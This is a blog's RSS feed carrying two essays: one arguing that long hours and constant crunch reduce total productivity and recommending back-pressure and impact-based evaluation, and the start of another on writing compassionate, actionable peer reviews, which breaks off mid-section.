﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Jon Gjengset</title>
    <description>PhD Student, Software Engineer and problem solver
</description>
    <link>https://thesquareplanet.com/</link>
    <atom:link href="https://thesquareplanet.com/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sun, 09 Aug 2026 08:44:42 +0000</pubDate>
    <lastBuildDate>Sun, 09 Aug 2026 08:44:42 +0000</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    
      
      <item>
        <title>About 40 hours</title>
        <description>&lt;p&gt;I often hear, especially from folks working at younger companies and the
tech giants, that the 40 hour workweek is a lie. That “the company”
secretly (or not so secretly) always wants you to work more hours and
doesn’t care if people are unhappy or burn out. That “they” will keep
piling on work with no regard for mental or physical well-being. And
while that is certainly true in some places, I think it is the
exception, not the norm. More often than not, I think reality is far
more nuanced.&lt;/p&gt;

&lt;p&gt;Unfortunately, companies tend to fail to correct this impression
whenever they are asked about work/life balance, burnout, or workload
management. An all too common response is “we believe work/life balance
is something the company cannot dictate - it is a personal choice”. With
a prior of “the company doesn’t care”, this comes across as (slightly
condescending) weasel-words that dodge the question.&lt;/p&gt;

&lt;p&gt;The reality is that “what’s the right number of hours to work in a week”
is not an easy question to answer. It varies not just from person to
person, but from week to week, and even day to day. And ignoring the
nuances involved does a disservice to both employees &lt;em&gt;and&lt;/em&gt; employers.
Cultivating the cultural norms and organizational policies needed to
strike a sustainable balance, while still treating employees like adults
with agency, is difficult &lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC10713994/&quot;&gt;but worthwhile&lt;/a&gt;. Ultimately, I argue,
the right mixture of individual flexibility, internal back-pressure, and
well-adjusted expectations yields positive, healthy outcomes for
everyone involved; there’s no need for good intentions (although it is
of course welcome!).&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I’ve chosen not to get into the question of “what about the time I
spend thinking about work stuff in the shower or on the toilet?” here.
As you’ll soon discover, this article is on the long side, so I had to
declare the semi-philosophical discussion of what “work” even means
out of scope!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;area-under-the-curve&quot;&gt;Area under the curve&lt;/h1&gt;

&lt;p&gt;So, let’s explore some of that nuance. To do so, let’s start with a
chart: incremental progress made per unit time, where “progress” is an
abstract value to measure the degree to which that time was spent
furthering something that’s valuable to the company either directly
(actual work done) or indirectly (hiring, skill development, people
managing, etc.). Let’s plot this over one week of five working days,
each with eight hours. My contention is that it would look something
like this:&lt;/p&gt;

&lt;style type=&quot;text/css&quot;&gt;
.blog-post img {
    height: 14em;
    max-width: 100%;
}
&lt;/style&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-standard.svg&quot; alt=&quot;A standard workweek. Days start out productive, growing slightly less
productive by the end. Later days in the week each start at a lower
initial output, leading to a small downwards trend across the
week.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It’s worth highlighting that the Y-axis here is &lt;em&gt;actual&lt;/em&gt; progress made
towards impactful outcomes. If you’re tired or distracted, you may spend
the same number of hours ostensibly working, but you’ll make more
mistakes, take longer to arrive at solutions, get more easily
distracted, and thus have a lower overall progress per unit time.&lt;/p&gt;

&lt;p&gt;I’ve included what I think are some common patterns here. By the end of
the day, most people are less productive. By the end of Thursday, we
feel our energy levels and productivity drop. By Friday morning,
our productivity is diminished from the get-go, and drops severely as
the day progresses.&lt;/p&gt;

&lt;p&gt;This is obviously a generalisation; the nature of the curve will depend
on a whole host of factors including general health condition, other
things going on in life, amount of time since last vacation, how
engaging the work is, or just whether the person stubbed their toe one
morning. It also probably applies more so to creative knowledge work
than to, say, chopping trees in the forest.&lt;/p&gt;

&lt;p&gt;But don’t take my word for it. Even if you ignore the various &lt;a href=&quot;https://www.4dayweek.com/research&quot;&gt;trial
results from 4 Day Week Global&lt;/a&gt;, there is a mounting body of
evidence showing correlation between number of hours worked and decline
in both &lt;a href=&quot;https://www.sciencedirect.com/science/article/abs/pii/S027795361730031X&quot;&gt;mental health&lt;/a&gt; (including &lt;a href=&quot;https://www.jstor.org/stable/26567002&quot;&gt;increased depression&lt;/a&gt;)
and &lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC8504166/&quot;&gt;physical health&lt;/a&gt;, as well as &lt;a href=&quot;https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2149325&quot;&gt;productivity overall&lt;/a&gt;
across a variety of industries. Interestingly, the detrimental effects
do not seem to stem solely from an increased workload, but also from
downstream effects like working “unsocial hours”. It’s also not clear
that 40 hours per week strikes the “right” balance in any meaningful
way.&lt;/p&gt;

&lt;p&gt;What employers ultimately care about is the &lt;strong&gt;area under this curve&lt;/strong&gt;.
That is, the sum-total progress made in a given time interval. So, armed
with this visualization, let’s look at some common “get more work done”
patterns might look like in this model.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Anecdotally, I also think the area under this curve correlates with
our own happiness – at least I know that I enjoy the feeling of
getting things done that mattered,&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;longer-days&quot;&gt;Longer days&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-longer.svg&quot; alt=&quot;A workweek with longer days. Days start out productive, growing
markedly less productive by the end. Later days in the week each start
at an even lower initial output, leading to a moderate downwards trend
across the week.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exact shape of this curve will differ from person to person. For
some, an extra hour or two at work is no big deal and doing this
would &lt;em&gt;just&lt;/em&gt; increase their overall output. While for others their
ability to concentrate, be creative, and pay attention to detail drops
precipitously as the day stretches longer. Also, with longer days, you
have less time to fully recover by the next day, so the detrimental
effect cascades.&lt;/p&gt;

&lt;p&gt;So, as an employer, would you prefer this curve to the one above? The
area under the curve is somewhat greater, but not by a huge margin.
You’re also likely paying a cost in attrition due to unhappiness. That
cost in terms of hiring + retraining isn’t captured here, but is
substantial. Furthermore, work at the lower ends of the Y-axis here is
more likely to have mistakes that must be corrected later, further
adding to the cost.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A friend of mine who read an earlier draft of this article also made
the excellent point that 2 hours at work often aren’t equivalent to 2
hours at home, especially for those with care duties. If you spend
less time at home with your children, pets, loved ones, etc., that
“saved” time can easily result in a much more severe backlash down the
line. You might end up with kids who are harder to put to bed or
relationships that need repair, which not only come with a mental
toll, but also require a lot of &lt;em&gt;time&lt;/em&gt;; the very resource you had
hoped to save in the first place.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;longer-workweeks&quot;&gt;Longer workweeks&lt;/h2&gt;

&lt;p&gt;Week 1&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-more-1.svg&quot; alt=&quot;A workweek with an extra day. Days start out productive, growing
progressively less productive by the end. Later days in the week each
start at a lower initial output, and by the sixth day the day end is not
very productive. This leads to a moderate downwards trend across the
week.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Week 2&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-more-2.svg&quot; alt=&quot;A workweek with an extra day after 1 week. Days start out productive, growing
progressively less productive by the end. Later days in the week each
start at a lower initial output, but even the first day starts lower
than usual. By the fifth day, the days are much less productive. This
leads to a marked downwards trend across the
week.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Week 3&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-more-3.svg&quot; alt=&quot;A workweek with an extra day after 2 weeks. Days start out relatively
productive, growing progressively less productive by the end. Later days
in the week each start at a lower initial output, but even the first day
starts quite low. By the third day, the days are much less productive.
This leads to a significant downwards trend across the
week.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At first, working more days seems attractive. Sure, the 6th day isn’t
&lt;em&gt;super&lt;/em&gt; productive, but it still adds a lot of area! Once viewed over
time though, the detrimental effect becomes clearer – seen across a
month, the area you added in the first few weeks is quickly eaten up by
the losses in later weeks.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Interestingly, none of the studies I’ve looked at seem to distinguish
between “more hours per day” and “more days per week”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;burnout&quot;&gt;Burnout&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/gfx/40-hours-burnout.svg&quot; alt=&quot;A standard workweek with burnout. Days are not particularly productive
across the board. Early in the week there are some small boosts of
output, but by week&apos;s end, very little gets done. Overall, the rate out
output is significantly below the earlier
graphs.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When someone has hit burnout, progress is sporadic and slow if any
happens at all. Or in the extreme case they stop working altogether.
It goes without saying that this is terrible for area-under-the-curve.
As an employer, you never want employees to hit burnout no matter how
cynical you are; if they burn out, you are effectively paying for
someone at minimal efficiency. Sure, you could fire them, but now the
progress over time for this person is &lt;em&gt;0&lt;/em&gt;, and in addition you have to
now spend other people’s time hiring and training their replacement –
that’s &lt;em&gt;negative&lt;/em&gt; area!&lt;/p&gt;

&lt;h2 id=&quot;crunch-time&quot;&gt;Crunch time&lt;/h2&gt;

&lt;p&gt;The graphs above show that you &lt;em&gt;can&lt;/em&gt; indeed get more stuff done by
working more, but only &lt;em&gt;up to a point&lt;/em&gt;. Beyond that point, you end up
with a &lt;em&gt;compounding negative return&lt;/em&gt;. But therein also lies a clue:
crunch time is fine as long as there is a recovery period afterwards. By
giving time “in lieu” after a crunch, you can bring the baseline back up
and then progress as usual.&lt;/p&gt;

&lt;p&gt;Now, when people take time off after a crunch, the area under their
curve (obviously) goes to zero, which hints at what I believe is a
fundamental property of crunch time work: it does not give you &lt;em&gt;more&lt;/em&gt;
time over all, it merely borrows time from the future. That borrow also
comes with a marginal interest cost, but that may be a cost worth paying
occasionally if the deadline is important enough, or if you are
crunching with others and the high-bandwidth concurrent crunch yields an
outsized impact.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;At ambitious companies, increased work output may also come with
significant (possibly uncapped) financial upsides. That &lt;em&gt;can&lt;/em&gt; increase
the tolerance for increased work, at least for a period of time, and
can be a worthwhile investment if made intentionally. However, even
with high rewards, &lt;em&gt;most&lt;/em&gt; people will inevitably hit
diminishing-and-eventually-negative returns at some point, and will
feel the consequences if they push past it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It should go without saying at this point, but “constant crunch time
mode” is clearly unsustainable – the diminished progress rate will only
compound, and eventually you’re spending lots of hours but getting very
little done. And making everyone miserable in the process! Giving time
in lieu is &lt;em&gt;essential&lt;/em&gt; for a company that wants to pull the “crunch
time” lever frequently.&lt;/p&gt;

&lt;h1 id=&quot;exerting-back-pressure&quot;&gt;Exerting back-pressure&lt;/h1&gt;

&lt;p&gt;With the charts above, I hope I have demonstrated that it’s actually in
the &lt;em&gt;company’s&lt;/em&gt; interest that people don’t overwork. However, a common
failure mode is that the insight that people are overworking is binary:
there is little signal that someone is overloaded until the one day where
it all boils over and they burn out. Perversely, this happens more in
companies where the employees feel particularly dedicated to the
company’s work; employees absorb more work and tighter deadlines by
working harder because they care about what they’re working towards. And
while they may occasionally mention there’s a lot to do, it goes
unnoticed because, frankly, when isn’t there a lot to do? But as a
result, they keep stretching themselves until they break.&lt;/p&gt;

&lt;p&gt;The solution to this, which as we’ve seen is both in the employee’s
&lt;em&gt;and&lt;/em&gt; employer’s interest, is for people to be willing to push back as
the work burden grows. This serves as a signal up the chain that work is
being fed into “the machine” faster than it can be acted upon with the
expected quality. There are a variety of ways that the leadership of the
company could act upon to that signal, including hiring (though beware
the &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Mythical_Man-Month&quot;&gt;mythical man-month&lt;/a&gt;; see also &lt;a href=&quot;https://codahale.com/work-is-work/&quot;&gt;work is work&lt;/a&gt;), but that’s beyond
the scope of this already-long article! The important thing is that the
signal &lt;em&gt;exists&lt;/em&gt; such that they can act upon it, which as we’ve
demonstrated is in their own self-interest.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I want to stress that back-pressure does &lt;em&gt;not&lt;/em&gt; mean “just say no”.
Instead, effective back-pressure is all about negotiation. That is a
topic for a blog post all on its own, but very briefly: when you’re
near capacity and someone approaches you with more work, you should
present them with what work would need to be dropped in order to take
on their work instead. It &lt;em&gt;could&lt;/em&gt; be that their piece of work is more
important than what you’re currently prioritising, but if so, that
other piece of work should be dropped! If both are important,
something else has to go. That’s what “at capacity” means. The choice
of what gets dropped may be difficult, and may need to propagate back
up the leadership chain, but &lt;em&gt;that’s the back-pressure working as
intended&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;performance-expectations&quot;&gt;Performance expectations&lt;/h1&gt;

&lt;p&gt;Concerned (likely leadership-shaped) readers may see the advice above
and be worried that telling employees to push back will lead to a
naysaying culture where ambition goes to die. Where minute-counting,
card-punching types leave no room for rising to a challenge. And while
that is a possible outcome, it also has a natural counter-weight: the
performance evaluation process.&lt;/p&gt;

&lt;p&gt;Performance evaluations is, in my opinion, one of the linchpins of
company culture. It may seem cynical at first, but hear me out. It’s in
performance evaluations that the company is forced to make extremely
explicit and public judgement calls on what it values and what it does
not. Behaviour that is rewarded is, naturally, reinforced, sought, and
promoted. And a bar quickly emerges that represents what the company
considers “good enough” performance, usually under a label like “meets
the bar” or “meets expectations”.&lt;/p&gt;

&lt;p&gt;Crucially, “good enough performance” should be tied to impact (which I
could write another whole article on how to define…) and progression,
not hours clocked. With the mental model we’ve established, the measure
of performance should be equal to the area under curve across a
quarter/year, perhaps with some weighting for particularly strategic
impact. Furthermore, I would argue, a rating of “meets expectations”
should be calibrated to what is reasonable to expect from a competent
employee with 40 hour work weeks &lt;em&gt;on average&lt;/em&gt; over the period. Under
such a definition, an average employee who sticks to normal working
hours should get a rating of meeting expectations. Which, to be clear,
is a &lt;em&gt;perfectly fine&lt;/em&gt; rating! And those who push back &lt;em&gt;too much&lt;/em&gt; are
likely to not meet that bar, to their own detriment.&lt;/p&gt;

&lt;p&gt;Concerned (likely employee-shaped) readers may see the advice above
and contest that this will lead to a system where people are rewarded
for overworking. Such readers may also suggest that this is equivalent
to punishing people for &lt;em&gt;not&lt;/em&gt; overworking. There’s some truth to the
first part of that, though only up to a limit; as I’ve hopefully managed
to illustrate above, it’s not as though you can just put in infinitely
more hours and end up infinitely more productive. You &lt;em&gt;can&lt;/em&gt; increase
your output slightly if you tolerate more work, in which case you will
likely be rewarded for that, but that just seems… fair? That is, as
long as the baseline is set such that it’s possible to meet when working
40 hour work weeks (again, on average). For the latter though, if you
don’t find the reward above that bar commensurate with the added stress
or unhappiness you would experience from doing so work week (again, on
average), that’s a perfectly fine choice. Getting a “meets expectations”
and the pay check commensurate with that (which should be fair wage of
course!) isn’t a punishment, it’s just kind of how jobs work.&lt;/p&gt;

&lt;p&gt;Of course there is a risk that the company’s &lt;a href=&quot;https://en.wikipedia.org/wiki/Overton_window&quot;&gt;Overton window&lt;/a&gt; shifts and
the expectation moves to align with those who work more. And vigilance
is required on the company’s part to fight that trend. However, as we’ve
shown, it’s in the company’s interest to do.&lt;/p&gt;

&lt;p&gt;At this point it’s important to acknowledge that companies differ in
their ambition. Some companies are looking to solve harder problems in
shorter time frames, which requires a higher sum-total area under the
curve. Some of that can be helped with more people, but given &lt;a href=&quot;https://en.wikipedia.org/wiki/Amdahl%27s_law&quot;&gt;Amdahl’s
law&lt;/a&gt; it’s also necessary to get more out of each individual person. That
is, to expect a higher area under the curve for &lt;em&gt;each&lt;/em&gt; person. As we’ve
shown, adding time is not generally the way to do that sustainably over
longer periods of time. Instead, companies with such ambitions have to
require more progress per unit time – that is, they require
higher-output employees.&lt;/p&gt;

&lt;p&gt;This is where tensions arise, especially if a company’s ambitions rise
over time. As the company requires more area under the curve, some are
able to deliver that while staying within sustainable working hours, but
others will struggle to do so. Unfortunately, when that happens, the
instinctive response tends to be to put in more hours to try to meet the
demand. For some people with a high tolerance for spending time on work,
that may work, but for the vast majority it will unravel in the medium-
to long-term.&lt;/p&gt;

&lt;p&gt;Part of the burden in adapting to this lies with the employer. To
increase output, you need to invest in your employees’ skills, limit
bureaucratic overhead, mitigate scope creep and shifting requirements,
invest in infrastructure, reduce friction of repetitive tasks, exhibit
consistent and reliable leadership, give increased autonomy and trust,
etc. But while employer efforts are necessary, they aren’t sufficient –
the burden on employees &lt;em&gt;will&lt;/em&gt; also increase with increased ambition.
And the right response to that &lt;em&gt;isn’t&lt;/em&gt; to work significantly more hours,
as we’ve shown. It is to increase progress-per-unit-time. In other
words, to “work smarter, not harder”.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;An important aside here on choosing your employer: it is worth
thinking about what kind of area-under-the-curve demands you &lt;em&gt;want&lt;/em&gt; to
be subject to. Higher demands tend to correlate with better pay and
larger impact, but that may not be worth the trade-off &lt;em&gt;to you&lt;/em&gt;.
Assuming your current progress-over-time is Y, you can choose to work
for a company where the expected progress-over-time is &amp;lt;Y (you get to
relax more), ~= Y (you work full days), or &amp;gt;Y (you need to stretch
your skills and sometimes your time, but you get rewarded for it). The
delta between your current Y and the expected progress-over-time can
also be an opportunity to grow, though the &lt;em&gt;need&lt;/em&gt; to grow can also be
stress-inducing and require you to invest more time into growing your
skills (which can in turn feel like “more work” – more on that
below).&lt;/p&gt;

  &lt;p&gt;In the end, you need to factor in your own stress tolerance, your
desire to grow, and your life situation, and pick accordingly. And
yes, be willing to re-visit that decision over time; early in your
career may have been the right time to work at a super-ambitious,
high-octane company to give your career and skills a boost, but that
doesn’t &lt;em&gt;necessarily&lt;/em&gt; mean it’s the right place three kids later
(although hats off to you if it is!).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;working-smarter&quot;&gt;Working smarter&lt;/h1&gt;

&lt;p&gt;On LinkedIn and in bookstores you can find endless guidance on how to
work smarter, and as this article is already long, I’m not going to give
any kind of comprehensive tutorial here. Instead, I want to stress what
I see as the primary directions in which you can “work smarter”.&lt;/p&gt;

&lt;p&gt;The first is to get a given thing done faster. This usually entails
acquiring knowledge, tools, or experience. Domain knowledge gives you
access to algorithms, facts, and techniques that let you progress
faster. Tools (including learning your current tools better) reduce time
spent on menial, repetitive, and mechanical tasks. Experience allows you
to short-cut experimentation and trade-offs that you’ve explored before.
And each of these allow more net progress per unit time.&lt;/p&gt;

&lt;p&gt;The second is to better choose the &lt;em&gt;order&lt;/em&gt; in which you do things such
that your time is spent where it matters most. My experience has been
that most engineers spend a disproportionate fraction of their time in
the wrong place. Be that on a task that isn’t the one that most needs
doing right now, that isn’t the one blocking other people, or that isn’t
the one that is the closest to completion. Working on “the wrong thing”
means you’re spending precious time, but getting only small amounts of
area under the curve in return. Prioritization is a &lt;a href=&quot;/blog/eisenhower-vectors/&quot;&gt;complex
topic&lt;/a&gt;, but thinking consciously about where you spend your
time is a superpower that can yield large and rapid boosts to your
impact!&lt;/p&gt;

&lt;p&gt;The third is to be more cognisant of &lt;em&gt;what&lt;/em&gt; you work on. It makes a huge
difference to your energy levels, focus, and consequently output if
you’re working on something that engages you, that you care about, or
that you take pride in. And it significantly reduces, although does not
eliminate, the risk of burning out from it. While you can rarely choose
completely freely what you work on in the context of most jobs, utilize
the agency that you &lt;em&gt;do&lt;/em&gt; have, including switching teams if necessary,
such that the work aligns with what makes you tick.&lt;/p&gt;

&lt;p&gt;And the fourth is to be strategic about &lt;em&gt;when&lt;/em&gt; you work. If your job
mandates 9-5, this may be difficult, but most creative jobs are more
flexible than that — utilize that flexibility. If you’re more productive
in the evenings, move some of your workday there. If you feel yourself
procrastinating excessively one day, take an hour to do something else
and make up that hour some other time. And conversely, if you worked
late last night to push that thing over the finish line, recoup that
time today; it was probably a worthwhile trade! Aligning your work with
your own productivity cycle can give significant improvements to your
own output even if you don’t work &lt;em&gt;any&lt;/em&gt; more hours total.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;As a wise mentor of mine has pointed out repeatedly to me, working
smarter helps, but the real superpower is &lt;em&gt;resting&lt;/em&gt; smarter. If
outside of work you’re constantly checking your work Slack or email,
or thinking about “this document” or “that demo”, then the path to
burnout is short. You’re effectively burning the candle on both ends;
working both while at work and at home. Having a clear delineation of
when work time ends and not-work time starts can help tremendously.
The same can be said for making good and varied use of that rest time
– meet friends, exercise, go on a date night, explore the
neighborhood, learn a new skill, cuddle on the couch – whatever
floats your boat. The important thing is that you feel like that time
is replenishing the same batteries you exhaust at work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;finding-the-time&quot;&gt;Finding the time&lt;/h2&gt;

&lt;p&gt;While you will naturally get better at working smarter over the course
of your career, you’ll improve at a much higher rate if you make doing
so a priority. Unfortunately, as with so many things in life, getting
better requires time, which is the dimension I’ve been arguing this
entire article you can’t easily spend more of. However, there &lt;em&gt;is&lt;/em&gt; hope.&lt;/p&gt;

&lt;p&gt;The decline we’ve seen in the earlier charts tend to be
context-specific. While it’s hard to get more constructive &lt;em&gt;work&lt;/em&gt; out of
more hours, that doesn’t mean that those hours can only be spend sitting
comatose on the couch to recover. You may not be able to get a lot more
value out of one more hour of work at the end of a day, but your ability
to do &lt;em&gt;other&lt;/em&gt; things like socialize or play is hopefully not as
compromised!&lt;/p&gt;

&lt;p&gt;You may see where I’m going with this: if you can grow your skills in a
way that you enjoy and where it &lt;em&gt;doesn’t&lt;/em&gt; feel like work, you &lt;em&gt;can&lt;/em&gt;
invest more hours in a way that your area-under-the-curve will grow
sustainably over time!&lt;/p&gt;

&lt;p&gt;There’s no one way to make growing fun, and something you’re happy to
spend time on – it’s a very individual thing. But it &lt;em&gt;is&lt;/em&gt; possible. You
can find growth in all sorts of extracurriculars that incidentally teach
you relevant skills; e.g., cooking can teach you prioritization, sports
can teach you teamwork, and teaching can boost your domain knowledge.
For some, growth comes in the form of finding a super interesting (but
likely less important) task at work, and then spending a bunch of spare
time on it &lt;em&gt;for fun&lt;/em&gt;. While this is technically speaking “working more”,
it doesn’t feel that way. It could just as well not been a work-related
task; work just served as a useful pool from which to source things to
play with. And if it &lt;em&gt;also&lt;/em&gt; has a positive impact at work, that’s just
an added bonus. Ultimately, the goal is just that you find ways to
&lt;em&gt;sustainably&lt;/em&gt; increase your area-under-the-curve; ways that are
conducive to your own happiness and joy.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;An aside on work-sourced play: if you see peers spending time on work
things in their spare time, take a second to consider whether they’re
doing that because they feel like they &lt;em&gt;need to&lt;/em&gt;, or if it’s because
they &lt;em&gt;want&lt;/em&gt; to. If they’re doing it because they need to, that’s
symptomatic of dysfunctional company expectations (maybe due to lack
of back-pressure). But if they’re doing it because they want to, let
them have their fun and don’t take that as a signal that you should
&lt;em&gt;also&lt;/em&gt; be doing work in your spare time. Each to their own!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;post-publish-addenda&quot;&gt;Post-publish addenda&lt;/h1&gt;

&lt;h2 id=&quot;employers-that-do-not-optimize-for-impact&quot;&gt;Employers that do not optimize for impact&lt;/h2&gt;

&lt;p&gt;avwie132 made the excellent point &lt;a href=&quot;https://www.youtube.com/channel/UC_iD0xppBwwsrM9DegC5cQQ/community?lc=UgxJajWim6Gk4neRr8x4AaABAg.ACT1niaLgcFACYa3jzv5gu&amp;amp;lb=UgkxYSJoUv84LVhVTvoRyKzFXH0usbw6_gWv&quot;&gt;in a YouTube comment&lt;/a&gt; that
some employers may not care about (or at least optimize for) area under
the curve. They give the example of consulting firms, which may optimize
for billable hours rather than impact to the customer per time spent. It
is certainly true that as an employee at such companies, my argument
that more time doesn’t correlate with better outcomes will be met with
skepticism. After all, if you spend one more hour, however useless or
even counter-productive that hour may have been, that hour is still just
as billable as any other. The same applies to companies that value
&lt;em&gt;visibility&lt;/em&gt; — where you have to be &lt;em&gt;seen&lt;/em&gt; working.&lt;/p&gt;

&lt;p&gt;That said, I think even for companies like this, the hyper-fixation on
time spent (and billed) is a short-term gambit. If another company comes
along that can bill half the number of hours for the same impact, you’ve
made yourself (unnecessarily) imminently replaceable. Similarly, if your
best employees start leaving because they are (again, unnecessarily)
overworked, you’re likely to lose both current customers who may join
them out the door and future customers due to the lack of high-quality
staffing to allocate to them.&lt;/p&gt;

&lt;p&gt;Of course, such companies aren’t necessarily likely to &lt;em&gt;realize&lt;/em&gt; that
they’re working against their own long-term interest. And incentives can
be such that they won’t realize it either, such as if they’re heavily
influenced by shorter-term investors who just want their pay-day and
move on. It’s also worth pointing out that the same argument — that some
companies don’t realize that they’re shooting themselves in the foot
with short-sightedness — applies quite widely. Even to companies where
impact &lt;em&gt;is&lt;/em&gt; the most obvious evaluation criteria.&lt;/p&gt;

&lt;p&gt;Given time and effort, it should be possible to sway these companies to
see the long-term ROI of changing their practices, but whether that’s
within &lt;em&gt;your&lt;/em&gt; power, or worth the time it would take, is less clear. And
so we’re left with: it’s important to choose your employer wisely.&lt;/p&gt;

</description>
        <pubDate>Sun, 22 Dec 2024 08:53:21 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/about-40-hours/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/about-40-hours/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Writing about people, to people</title>
        <description>&lt;p&gt;Review season is approaching, as it always is. Peer reviews, self
reviews, upward reviews, quarterly reviews, and yearly reviews, need to
be written, read, and relayed. For some, this is a much-appreciated time
to celebrate your co-workers, give constructive feedback, learn how you
can grow yourself, and (hopefully) get confirmation that overall you’re
doing a good job. For many, it’s a time of endless feedback-writing,
filling out form after form with the same couple of prompts, trying to
remember what happened even just a few weeks ago and what working with a
given person was like two months ago, and either trying to not sound
like an ass when pointing out areas for improvement or glossing over any
larger problems altogether.&lt;/p&gt;

&lt;p&gt;I’ve come to realise that many despise writing reviews. Not necessarily
because they don’t see their importance, but because they dislike the
process, struggle to write something they see as &lt;em&gt;useful&lt;/em&gt;, and feel like
it quickly gets repetitive. I’ve had those thoughts too. But the more
I’m part of people and performance conversations, whether through
mentoring, being a people lead, or being part of technical leadership,
the more I see just how vital reviews truly are to both the individual
and the organisation. So, I want to talk about how I write about people,
to people.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The advice in this document is, I believe, equally applicable to
reviews of your peers, your reports, and your leadership chain
(“upwards reviews”). It’s phrased for peer reviews, but all the
concepts apply directly if you’re writing any of the others. I think
you can follow the advice in here quite closely when you’re writing
self-reviews too, even if it may feel a little odd at first.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;a-human-will-read-what-you-write--write-like-it&quot;&gt;A human will read what you write – write like it&lt;/h1&gt;

&lt;p&gt;People reviews are, inherently, &lt;em&gt;for people&lt;/em&gt;. The review doesn’t go into
a machine that spits out a number on the other end (and hopefully we
never end up in such a world), nor is it expected to represent a formal
argument for submission to some academic journal or a checklist for
someone to tick off. It will be read by the person it’s about, by that
person’s lead, used as part of an argument to other people further up
“the chain”, or some combination of the above. All of those people have
their own feelings and opinions, and your goal isn’t to impose your
views onto them, but rather to supply your perspective and experience to
augment theirs.&lt;/p&gt;

&lt;p&gt;This has two primary implications for how you write reviews:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Write with compassion.&lt;/strong&gt; You can write the most accurate and
insightful review in the world, but fail to get any of it across
because the reader cannot get past the &lt;em&gt;way&lt;/em&gt; you have written it.
Phrasing matters. You should still &lt;a href=&quot;https://randsinrepose.com/archives/say-the-hard-thing/&quot;&gt;say the hard thing(s)&lt;/a&gt; without
&lt;a href=&quot;https://www.merriam-webster.com/wordplay/bury-the-lede-versus-lead&quot;&gt;burying the lede&lt;/a&gt;, but take the time to find the right framing. A
useful &lt;a href=&quot;https://en.wikipedia.org/wiki/Litmus_test_(politics)&quot;&gt;litmus test&lt;/a&gt; here whether, if you received the same
feedback, you would actually consider what was being said or brush
it off as “just this person’s unfounded criticism”. Concretely, I’d
recommend brushing up on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Fundamental_attribution_error&quot;&gt;fundamental attribution error&lt;/a&gt; and
&lt;a href=&quot;https://www.psychologytoday.com/us/blog/evolution-the-self/202011/don-t-debate-your-partner-s-always-and-never-statements&quot;&gt;avoiding words like “always” and “never”&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Make it actionable.&lt;/strong&gt; Praise is nice, critique is unpleasant, and
neither is all that &lt;em&gt;useful&lt;/em&gt;. In the spirit of “write what you’d
want to receive”, prefer highlighting specific things that the
person in question could &lt;em&gt;do something about&lt;/em&gt;. This can be stuff
already do that they should double down on or pare back, or it could
be things they’re not currently doing that would make them more
impactful if they did. If someone reads your review and still
wonders afterwards “so what are they good at?” or “but how could
this person do better&lt;a href=&quot;http://www.catb.org/~esr/jargon/html/writing-style.html&quot;&gt;?”,&lt;/a&gt; you have failed to get your
message across.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;spend-the-time-to-make-it-short&quot;&gt;Spend the time to make it short&lt;/h1&gt;

&lt;p&gt;The more you write, the less attention each words gets. Thus, if you
want your feedback to not just be glossed over, you have to polish the
text down such that only the most important bits remain. My
recommendation is that you limit your answer to any one prompt on any
feedback form to a paragraph and a half or three bullet points of at
most two sentences each. Any longer and you risk that the reader will
miss at least some part of what you’ve written. It may be frustrating,
but it is reality.&lt;/p&gt;

&lt;p&gt;My process is usually to first do a brain-dump with no length
constraints, then to take a pass over the dump where I group related
feedback into short paragraphs of full sentences, and then to take a
second pass where I aggressively cut each such paragraph to half the
length. This leaves you with a decent first draft that you can hone down
into the final review.&lt;/p&gt;

&lt;blockquote&gt;
